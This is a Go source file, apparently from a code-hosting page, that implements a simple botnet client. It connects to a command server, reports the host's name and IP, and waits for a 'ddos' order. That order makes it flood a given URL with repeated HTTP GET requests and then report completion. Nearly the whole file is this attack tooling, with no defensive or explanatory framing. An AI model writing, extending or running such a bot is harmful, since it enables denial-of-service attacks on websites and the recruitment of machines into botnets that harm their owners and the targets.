You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

111 lines
2.3 KiB

  1. package main
  2. import (
  3. "bufio"
  4. "fmt"
  5. "net"
  6. "net/http"
  7. "os"
  8. "strconv"
  9. "strings"
  10. "time"
  11. )
  12. const (
  13. CONN_HOST = "localhost"
  14. CONN_PORT = "3333"
  15. CONN_TYPE = "tcp"
  16. )
  17. func main() {
  18. // connect to this socket
  19. conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
  20. hostname, err := os.Hostname()
  21. if err != nil {
  22. fmt.Println(err)
  23. os.Exit(1)
  24. }
  25. fmt.Println("connecting to server as hostname:", hostname)
  26. ip := getIp()
  27. fmt.Println("local ip:", ip)
  28. // send to socket
  29. fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
  30. for {
  31. command, err := bufio.NewReader(conn).ReadString('\n')
  32. if err != nil {
  33. fmt.Println(err)
  34. fmt.Println("server disconnected")
  35. os.Exit(1)
  36. }
  37. fmt.Println("Command from server: " + command)
  38. //fmt.Println(len(strings.Split(command, " ")))
  39. comm := strings.Split(command, " ")[0]
  40. switch comm {
  41. case "ddos":
  42. fmt.Println("url case, checking parameters")
  43. if len(strings.Split(command, " ")) < 3 {
  44. fmt.Println("not enought parameters")
  45. break
  46. }
  47. fmt.Println("url case")
  48. go ddos(command, conn, hostname)
  49. default:
  50. fmt.Println("default case, no specified command")
  51. fmt.Println("")
  52. fmt.Println("-- waiting for new orders --")
  53. }
  54. }
  55. }
  56. func ddos(command string, conn net.Conn, hostname string) {
  57. url := strings.Split(command, " ")[1]
  58. url = strings.TrimSpace(url)
  59. iterations := strings.Split(command, " ")[2]
  60. iterations = strings.TrimSpace(iterations)
  61. iter, err := strconv.Atoi(iterations)
  62. if err != nil {
  63. fmt.Println(err)
  64. }
  65. fmt.Println("url to ddos: " + url)
  66. for i := 0; i < iter; i++ {
  67. fmt.Println(i)
  68. resp, err := http.Get(url)
  69. if err != nil {
  70. fmt.Println(err)
  71. }
  72. fmt.Println(resp)
  73. }
  74. msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate)
  75. fmt.Println(msg)
  76. fmt.Fprintf(conn, msg+"\n")
  77. fmt.Println("")
  78. fmt.Println("-- waiting for new orders --")
  79. }
  80. func getIp() net.IP {
  81. var ip net.IP
  82. ifaces, err := net.Interfaces()
  83. if err != nil {
  84. fmt.Println(err)
  85. }
  86. for _, i := range ifaces {
  87. addrs, err := i.Addrs()
  88. if err != nil {
  89. fmt.Println(err)
  90. }
  91. for _, addr := range addrs {
  92. switch v := addr.(type) {
  93. case *net.IPNet:
  94. ip = v.IP
  95. case *net.IPAddr:
  96. ip = v.IP
  97. }
  98. }
  99. }
  100. return ip
  101. }